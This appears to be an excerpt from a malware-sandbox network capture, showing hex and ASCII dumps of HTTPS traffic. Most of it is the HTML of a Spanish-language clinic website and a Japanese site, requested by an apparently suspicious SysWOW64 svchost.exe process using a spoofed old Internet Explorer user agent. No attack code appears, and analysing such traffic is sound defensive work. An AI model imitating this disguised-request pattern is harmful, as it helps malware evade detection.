2023-07-27 19:54:02 UTC	1665	IN	Data Raw: 2d 74 69 74 6c 65 22 3e 53 49 43 4f 46 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 Data Ascii: -title">SICOF</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title
2023-07-27 19:54:02 UTC	1666	IN	Data Raw: 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 63 72 c3 ad 62 65 6e 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d Data Ascii: "g-menu-item-title">Escrbenos</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-
2023-07-27 19:54:02 UTC	1667	IN	Data Raw: 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f Data Ascii: -menu-item g-menu-item-type-component g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></
2023-07-27 19:54:02 UTC	1669	IN	Data Raw: 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 74 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 Data Ascii: </div><div class="platform-content"><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafanc
2023-07-27 19:54:02 UTC	1670	IN	Data Raw: 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 6f 70 65 6e 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 Data Ascii: or none openSpeed : 250, closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tp
2023-07-27 19:54:02 UTC	1671	IN	Data Raw: 6f 6e 65 22 3b 09 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 68 69 64 65 73 74 75 66 66 28 62 6f 78 69 64 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 Data Ascii: one";}function hidestuff(boxid){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-c
2023-07-27 19:54:02 UTC	1673	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 22 Data Ascii: <div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-button"
2023-07-27 19:54:02 UTC	1674	IN	Data Raw: 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: ketlauncher/home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="
2023-07-27 19:54:02 UTC	1675	IN	Data Raw: 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c Data Ascii: ""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> <
2023-07-27 19:54:02 UTC	1677	IN	Data Raw: 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 Data Ascii: figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><i
2023-07-27 19:54:02 UTC	1678	IN	Data Raw: 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f Data Ascii: s="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></
2023-07-27 19:54:02 UTC	1679	IN	Data Raw: 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 43 6f 6e 73 75 6c 74 61 20 45 78 74 65 72 6e 61 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 33 2d 20 4f 70 63 69 c3 b3 6e 20 31 20 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 Data Ascii: ><br></br><strong>Citas Consulta Externa: <p>6076430023- Opcin 1 cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Pr
2023-07-27 19:54:02 UTC	1681	IN	Data Raw: 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 20 67 2d 63 6f 6e 74 61 63 74 2d 63 6f 6d 70 61 63 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c Data Ascii: ass="g-contact g-contact-compact"><div class="g-contact-item"><div class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <
2023-07-27 19:54:02 UTC	1682	IN	Data Raw: 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 70 79 72 69 67 68 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d Data Ascii: /div></div></div></section><section id="g-copyright"><div class="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><im
2023-07-27 19:54:02 UTC	1683	IN	Data Raw: 34 66 65 0d 0a 74 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 Data Ascii: 4fet"></span></a></div></div></div></div></div></section></div><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/js/main.js"></s
2023-07-27 19:54:02 UTC	1685	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	59641	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:06 UTC	1733	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net
2023-07-27 19:54:07 UTC	1925	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Jul 2023 19:54:06 GMT Content-Type: text/html Content-Length: 2599149 Connection: close Last-Modified: Tue, 08 Nov 2022 00:53:41 GMT ETag: "27a8ed-5eceaf89b8f40" Accept-Ranges: bytes
2023-07-27 19:54:07 UTC	1926	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 77 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 77 65 62 73 69 74 65 23 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: <!DOCTYPE html><html lang="ja"> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# website: http://ogp.me/ns/website#"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="wi
2023-07-27 19:54:07 UTC	1941	IN	Data Raw: 77 69 64 74 68 3a 31 2e 30 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 32 2c 2e 63 6c 73 2d 31 36 33 7b 66 69 6c 6c 3a 23 39 32 64 31 64 37 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 35 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 39 37 70 78 3b 7d 2e 63 6c 73 2d 31 36 32 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 31 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 33 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 32 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 34 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 35 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 35 7b 66 69 6c 6c 3a 23 65 65 65 39 34 32 3b 7d 2e 63 6c 73 2d 31 36 36 7b 66 69 6c 6c 3a 23 65 34 38 32 37 65 3b 7d 2e 63 6c 73 2d 31 36 37 7b 66 69 6c 6c 3a 23 38 36 63 64 64 34 3b 7d 2e 63 Data Ascii: width:1.04px;}.cls-161,.cls-162,.cls-163{fill:#92d1d7;}.cls-161,.cls-165{stroke-width:0.97px;}.cls-162{stroke-width:1.15px;}.cls-163{stroke-width:1.25px;}.cls-164{stroke-width:1.54px;}.cls-165{fill:#eee942;}.cls-166{fill:#e4827e;}.cls-167{fill:#86cdd4;}.c
2023-07-27 19:54:07 UTC	2085	IN	Data Raw: 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 38 33 2c 31 39 35 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 36 2c 31 38 38 2e 31 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 Data Ascii: 1,.15,2.86"/><path class="cls-4" d="M692.83,195a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M692.6,188.1a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94
2023-07-27 19:54:07 UTC	2309	IN	Data Raw: 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 33 35 2c 32 36 33 2e 34 31 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 31 32 2c 32 35 36 2e 34 38 61 31 Data Ascii: 2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M723.35,263.41a1.71,1.71,0,0,1-.77,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M723.12,256.48a1
2023-07-27 19:54:07 UTC	2325	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e Data Ascii: ,0,0,1,.51-2.89,2.
